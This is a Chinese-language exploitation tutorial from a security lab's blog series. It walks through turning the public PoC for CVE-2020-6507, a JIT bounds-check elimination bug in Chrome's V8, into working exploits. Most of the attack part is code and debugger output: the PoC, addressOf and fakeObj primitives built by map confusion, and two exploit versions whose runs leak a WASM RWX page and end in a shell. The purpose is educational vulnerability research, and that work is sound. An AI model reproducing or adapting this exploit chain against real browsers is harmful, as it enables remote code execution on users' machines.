作者:[email protected]知道创宇404实验室
相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
复现CVE-2020-6507
在复习漏洞前,我们首先需要有一个信息收集的阶段:
Chrome 版本号 "dl.google.com"
,比如chrome 90.0.4430.93 "dl.google.com"
,可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com
网站上下载。我第二个研究的是CVE-2020-6507
,可以从官方公告得知其chrome的bug编号为:1086890
可以很容易找到其相关信息:
受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9
相关PoC:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
一键编译相关环境:
$ ./build.sh 8.3.110.9
暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
运行一下PoC:
$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212
可以发现,改PoC的作用是把corrupted_array
数组的长度改为0x24242424/2 = 0x12121212
,那么后续如果我们的obj_array
和double_array
在这个长度的内存区域内,那么就可以写addressOf
和fakeObj
函数了。
来进行一波测试:
$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
- map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09ce082091e1 <JSArray[0]>
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138: 0x080406e908241891 0x2424242400000000
0x9ce0878c148: 0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158: 0x080406e9082418e1 0x000000040878c149
调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424
,但是我们却也把elements
位改成了0x00000000
。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements
呢。
最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?
改了改测试代码,如下所示:
$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));
结果为:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
- map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x288c082091e1 <JSArray[0]>
- elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x288c080406e9 <FixedArray[0]> {
#length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x288c089046ed <FixedDoubleArray[1]> {
0: 1.1
}
0x288c08241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x288c08180451 <Cell value= 1>
- instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
- transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x288c082091e1 <JSArray[0]>
- constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
- dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
a = 0x80406e908241891
成功泄漏出double_array
变量的map地址,再改改测试代码:
$ cat test.js
......
length_as_double =
new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));
再来看看结果:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
- map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b95 <FixedDoubleArray[1]> {
0: 1.1
}
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
- map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b89 <FixedArray[1]> {
0: 0x34f108901c8d <Object map = 0x34f108244e79>
}
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements
的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。
不过也还有一些方法,比如堆喷,比如把elements
值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。
现在我们能来编写addressOf函数了:
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
接下来就是编写fakeObj
函数:
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
corrupted_array[0] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
return faked_obj;
}
改版本中,需要修改的偏移有:
$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......
其他都模板中一样,最后运行exp1
:
$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
前面内容通过套模板的方式,写出了exp1
,但是却有些许不足,因为elements
的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。
接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。
漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。
在bugs.chromium.org上已经很清楚了解释了该漏洞了。
NewFixedArray
和NewFixedDoubleArray
没有对数组的大小进行判断,来看看NewFixedDoubleArray
修复后的代码,多了一个判断:
macro NewFixedDoubleArray<Iterator: type>(
......
if (length > kFixedDoubleArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
......
再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612
,说明一个浮点型的数组,最大长度为67108862
。
我们再来看看PoC:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
我们来算算,array
的长度为0x40000
,args
的为0xff
个array
,然后args
还push了一个长度为0x3fffc
的数组。
通过Array.prototype.concat.apply
函数,把args
变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860
的变量giant_array
。
接着再使用splice
添加了3个值,该函数将会执行NewFixedDoubleArray
函数,从而生成了一个长度为67108860+3=67108863
的浮点型数组。
该长度已经超过了kFixedDoubleArrayMaxLength
的值,那么改漏洞要怎么利用呢?
来看看trigger
函数:
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array); // 触发JIT优化
}
该函数传入的为giant_array
数组,其长度为67108863
,所以x = 67108863
,经过计算后,得到x = 7
,然后执行corrupting_array[x] = length_as_double;
,corrupting_array
原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。
这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。
比如对trigger
函数进行优化,V8会认为x的最大长度为67108862
,那么x最后的计算结果最大值为1
,那么x最后的值不是0就是1,corrupting_array
的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]
执行的时候,会根据x的值对corrupting_array
边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]
进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array
变量的elements
和length
位,所以PoC达到了之前分析的那种效果。
知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:
length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
let test1 = [0.1, 0.1];
let test2 = [test1];
let test3 = [0.1];
test1[x] = length_as_double; // fake length
return [test1, test2, test3];
}
x
最后的值为11
,修改到了test3
的长度,但是并不会修改到elements
的值,因为中间有个test2
,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements
。
根据上述思路,我们对PoC进行一波修改:
function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}
for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));
接下来只要在exp1的基础上对addressOf
和fakeObj
进行一波微调,就能形成我们的exp2了:
$ cat exp2.js
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
return faked_obj;
}
$ ./d8 exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1823/